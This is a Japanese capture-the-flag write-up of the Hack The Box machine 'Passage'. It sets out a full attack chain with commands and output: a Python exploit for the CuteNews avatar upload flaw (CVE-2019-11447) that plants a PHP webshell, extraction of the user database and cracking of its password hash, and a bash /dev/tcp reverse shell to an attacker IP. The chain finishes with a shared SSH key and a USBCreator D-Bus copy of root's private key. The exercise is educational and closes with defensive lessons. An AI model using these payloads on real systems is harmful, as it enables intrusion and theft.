Hack The BoxのWriteup(Passage)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Passage — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(Apache, CuteNews)
→
CVE-2019-11447
avatar GIF8;ヘッダ PHP RCE
→
www-data webshell
→
cdata/users抽出
paul SHA-256 → atlanta1
→
reverse shell+PTY
su paul (SSHパスワード不可)
→
user.txt ✓ + 共有id_rsa
→
nadav SSH横移動
sudoグループ
→
USBCreator D-Bus
polkit認証バイパス
→
root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p 22,80 10.129.72.214
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 (Ubuntu)
|_http-title: Passage News

Webアプリの特定

BASH
curl -s http://10.129.72.214/ | head -30
RESULT
<title>Passage News</title>
<link href="CuteNews/libs/css/cosmo.min.css" rel="stylesheet">
<script src="CuteNews/libs/js/jquery.js"></script>
Set-Cookie: CUTENEWS_SESSION=...
ℹ️
ルートページ(Passage News)は静的ラッパーで、実体の CuteNews 本体は /CuteNews/ サブディレクトリに配置されている。バージョン確認は /CuteNews/index.php?mod=help&action=about 等から 2.1.2 と判明。 CuteNews 2.1.2 は CVE-2019-11447(avatarアップロード時の $imgsize チェック不備)の対象。

ハマりどころ: ターゲットが数十秒〜数分単位でバースト的にダウンする

NOTE
# 定点観測すると、HTTP(80)・SSH(22)ともに不規則な周期でダウン→復帰を
# 繰り返すことが確認できた(接続拒否/SYNタイムアウトいずれも観測)。
for i in $(seq 1 20); do
  curl -s -o /dev/null -w "%{http_code}\n" --max-time 3 http://10.129.72.214/
  sleep 5
done
# → 000, 000, 200, 000, 000, 000, 200, 200, ... のように不規則
⚠️
自動化・手動問わず、1回のリクエスト失敗だけで「サービスが落ちている」と 判断せず、観測された最長の断続時間(実測で2分超)より十分大きい予算で リトライすること。
PHASE 2

CVE-2019-11447: CuteNews avatar アップロード RCE

アカウント登録

PYTHON
import requests
s = requests.Session()
data = {
    "action": "register",
    "regusername": "pwnpass01", "regnickname": "pwnpass01",
    "regpassword": "pwnpass01", "confirm": "pwnpass01",
    "regemail": "pwnpass01@hack.me",
}
r = s.post("http://10.129.72.214/CuteNews/index.php?register",
           data=data, allow_redirects=False, timeout=15)
print(r.status_code)  # 302 なら成功

プロフィールページからCSRFトークン(署名)を取得

PYTHON
r2 = s.get("http://10.129.72.214/CuteNews/index.php?mod=main&opt=personal", timeout=15)
token = r2.text
import re
m1 = re.search(r'"__signature_key" value="(.*?)"', token)
m2 = re.search(r'"__signature_dsi" value="(.*?)"', token)
m3 = re.search(r'disabled="disabled" value="(.*?)"', token)
signature_key, signature_dsi, logged_user = m1.group(1), m2.group(1), m3.group(1)
⚠️
ハマりどころ: トークンのHTML属性名は name="__signature_key" / name="__signature_dsi" と アンダースコア2つのプレフィックス付き。正規表現を "signature_key"(プレフィックスなし)で書くと常にマッチせず、 以降のアップロードが静かに失敗し続ける。

avatar として PHP Webシェルをアップロード

PYTHON
payload = b"GIF8;\n<?php system($_REQUEST['cmd']); ?>"
files = {
    "mod": (None, "main"), "opt": (None, "personal"),
    "__signature_key": (None, signature_key),
    "__signature_dsi": (None, signature_dsi),
    "editpassword": (None, ""), "confirmpassword": (None, ""),
    "editnickname": (None, logged_user),
    "avatar_file": (f"{logged_user}.php", payload),
    "more[site]": (None, ""), "more[about]": (None, ""),
}
s.post("http://10.129.72.214/CuteNews/index.php", files=files, timeout=15)
ℹ️
CuteNews 2.1.2 は avatar アップロード時、拡張子ではなく画像ヘッダの一部 ($imgsize = getimagesize()の戻り値)だけをチェックしており、 先頭が GIF8; で始まる非画像ファイルをそのまま uploads/avatar_<user>_<user>.php として保存してしまう。

Webシェル経由でコマンド実行を確認

BASH
curl -s -X POST http://10.129.72.214/CuteNews/uploads/avatar_pwnpass01_pwnpass01.php \
  -d "cmd=id"
RESULT
GIF8;
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功。 応答本文の先頭に元のGIFヘッダ文字列 GIF8; がそのまま残るため、パース時は re.sub(r"^GIF8;", "", resp) で除去する。
PHASE 3

cdata/users からのハッシュ抽出とクラック

全ユーザーレコードの回収

BASH (webshell経由)
cmd=grep -r -h php -v /var/www/html/CuteNews/cdata/users/ 2>/dev/null | base64 -d 2>/dev/null
RESULT
a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";...
"email";s:15:"paul@passage.htb";...
"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";...
ℹ️
CuteNews の cdata/users/*.php は各行が「不正アクセス防止用の <?php die(...); ?> ガード + base64エンコードされたPHP serialize データ」という構造。grep -v php(ガード行の除去、コメントに”php”が 含まれる行を弾く簡易フィルタ)→base64 -dでユーザーDB全体を平文取得できる。

paul の SHA-256 ハッシュをクラック

BASH
echo "e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd" > paul.hash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 paul.hash
john --show --format=Raw-SHA256 paul.hash
RESULT
paul.hash:atlanta1
1 password hash cracked, 0 left
PHASE 4

reverse shell + PTY + su paul → user.txt

ハマりどころ: sshdがパスワード認証を受け付けない

BASH
sshpass -p atlanta1 ssh paul@10.129.72.214 id
RESULT
paul@10.129.72.214: Permission denied (publickey).
BASH (webshell経由で確認)
cmd=grep -i passwordauth /etc/ssh/sshd_config
RESULT
PasswordAuthentication no
🚨
重要発見: このインスタンスの sshd はパスワード認証を無効化している。 crackしたパスワードでの直接SSHログインは成立しない。www-dataの権限で /home/paul 配下も読み取り不可(Permission denied)なため、 別の経路でpaulに昇格する必要がある。

webshell経由でリバースシェルを確立

BASH
# 別ターミナルでリスナー起動
nc -lnvp 4567

# webshell経由でリバースシェルを発火
cmd=bash -c 'bash -i >&/dev/tcp/<KaliのIP>/4567 0>&1'
RESULT
listening on [any] 4567 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.72.214] 42714
www-data@passage:/var/www/html/CuteNews/uploads$

PTY割当て + su paul

BASH (確立したリバースシェル上)
www-data@passage:~$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@passage:~$ su paul
Password: atlanta1
RESULT
paul@passage:/var/www/html/CuteNews/uploads$ id
uid=1001(paul) gid=1001(paul) groups=1001(paul)
⚠️
su は制御端末(TTY)を必須とするため、webshellの一発 system()呼び出しでは su: must be run from a terminal で必ず失敗する。まずリバースシェルを張り、python3 -c "import pty; pty.spawn('/bin/bash')" で疑似端末を割り当ててから、その持続的な ソケット接続上で su のパスワードプロンプトに応答する必要がある。

user.txt と共有 id_rsa の取得

BASH
paul@passage:~$ cat /home/paul/user.txt
paul@passage:~$ cat /home/paul/.ssh/id_rsa
RESULT
f0bffc652f5e34e954515f9559e5f080

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/
...(中略)...
-----END RSA PRIVATE KEY-----
user.txt — paul@passage
f0bffc652f5e34e954515f9559e5f080
PHASE 5

nadav への横移動(共有 SSH 鍵)

同じ鍵で nadav に SSH ログイン

BASH
chmod 600 paul_id_rsa
ssh -i paul_id_rsa nadav@10.129.72.214 "id; sudo -l"
RESULT
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
sudo: no tty present and no askpass program specified
ℹ️
paul の ~/.ssh/id_rsa はそのまま nadav の authorized_keys にも登録されている共有鍵。nadav は sudo グループのメンバー(SSH鍵認証さえ成功すれば パスワード不要でここまで到達できる)。
PHASE 6

USBCreator D-Bus 権限昇格 → root.txt

なぜ sudo なしで root 権限のD-Busメソッドを呼べるのか

BASH (nadav シェル上)
nadav@passage:~$ cat ~/.bash_history | grep -i polkit
nadav@passage:~$ cat /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
RESULT
[Configuration]
AdminIdentities=unix-group:sudo
🚨
重要発見: vim のコマンド履歴から、この設定ファイルが 「unix-group:sudo(sudoグループ全員をpolkit管理者とみなす)」に 改変されていたことが分かる(本来のUbuntuデフォルトはより限定的)。この結果、 sudoグループのメンバーであるだけでUSBCreatorのような polkitアクション(通常はGUIでの管理者パスワード入力を要求)を パスワードなしで通過できてしまう。

USBCreator D-Bus の Image メソッドで任意ファイルコピー

BASH
nadav@passage:~$ gdbus call --system \
  --dest com.ubuntu.USBCreator \
  --object-path /com/ubuntu/USBCreator \
  --method com.ubuntu.USBCreator.Image \
  /root/.ssh/id_rsa /home/nadav/root_id_rsa_copy true

nadav@passage:~$ cat /home/nadav/root_id_rsa_copy
RESULT
()
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAth1mFSVw6Erdhv7qc+Z5KWQMPtwTsT9630uzpq5fBx/KKzqZ
...(中略)...
-----END RSA PRIVATE KEY-----
✅
root秘密鍵の窃取成功。 USBCreator の Image メソッドは USBメモリへのISOイメージ書き込み(dd相当)を意図した 機能だが、コピー元・コピー先いずれのパスにも検証がない。polkit 認証さえ通れば(前項の設定不備により sudo グループなら無条件で通る)、 任意のファイルを任意の場所へ root 権限でコピーできてしまう。

root として SSH ログイン → root.txt

BASH
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.72.214 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
e9eccdf5e6d662aa2b99c1c497e240d7
root.txt — root@passage
e9eccdf5e6d662aa2b99c1c497e240d7
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — paul@passage
f0bffc652f5e34e954515f9559e5f080
root.txt — root@passage
e9eccdf5e6d662aa2b99c1c497e240d7

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2019-11447 CuteNews 2.1.2 (avatarアップロード) リモートコード実行(www-data) Critical GIF8;ヘッダ偽装で拡張子チェックを回避しPHP Webシェルを配置
パスワード使い回し(SSH鍵共有) paul/nadav ユーザー 横方向移動 Medium crackしたpaulのパスワードでsu昇格 → paulのSSH秘密鍵がnadavにも共有されていた
polkit AdminIdentities誤設定 + USBCreator D-Bus com.ubuntu.USBCreator 権限昇格 (root) High unix-group:sudo設定によりsudoグループが無条件でpolkit通過、パス検証なしのImageメソッドで任意ファイルコピー

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22(SSH)/80(Apache, CuteNews 2.1.2)
2RCECVE-2019-11447 avatarアップロードwww-data webshell
3ハッシュ抽出cdata/users base64+serialize解析paul:atlanta1(john+rockyou)
4昇格reverse shell+PTY+su pauluser.txt+共有id_rsa
5横移動共有SSH鍵nadav(sudoグループ)シェル
6権限昇格USBCreator D-Bus(polkit誤設定悪用)root.txt

学んだ教訓 & 防御策

問題点防御策
CuteNews 2.1.2のavatarアップロードが拡張子でなく画像ヘッダの一部しか検証していない CuteNews を修正版へアップデートする。アップロード先ディレクトリでのPHP実行をApache設定(php_admin_flag engine off等)で無効化する。
複数ユーザー間でSSH秘密鍵を使い回している ユーザーごとに個別の鍵ペアを発行する。鍵の使い回しは横方向移動を著しく容易にする。
polkitのAdminIdentitiesがunix-group:sudoに緩められ、sudoグループ全員が無条件の管理者操作(パスワード入力なし)を行える polkit設定はデフォルトから安易に緩めない。特にUSBCreatorのようなパス検証の甘いD-Busサービスは、意図しない任意ファイル操作の踏み台になりうる。
HackTheBox: Passage | 完全攻略レポート